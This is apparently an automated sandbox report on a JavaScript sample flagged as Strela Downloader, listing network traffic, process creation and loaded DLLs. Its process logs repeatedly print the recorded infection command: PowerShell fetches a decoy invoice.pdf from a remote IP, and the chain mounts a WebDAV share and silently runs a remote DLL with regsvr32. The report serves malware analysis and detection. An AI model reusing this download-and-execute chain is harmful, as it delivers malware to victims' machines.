Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1415432618.00000198D5D3D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1414560912.00000198D7BC1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1414664430.00000198D7BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1476263978.0000022B78360000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1486280897.0000022B78360000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1486215805.0000022B78328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1476263978.0000022B78360000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1486280897.0000022B78360000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/(
Source: net.exe, 00000007.00000003.1476263978.0000022B7834F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1486280897.0000022B7834F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000007.00000002.1486215805.0000022B78328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space
Source: svchost.exe, 00000009.00000002.2704041744.000001DEE1600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1475850018.000001DEE14D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7616, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 631311201545628497.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7708:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pjjgrhp2.bec.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\631311201545628497.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1648,i,17250070332072236360,9666019462603494126,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1648,i,17250070332072236360,9666019462603494126,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
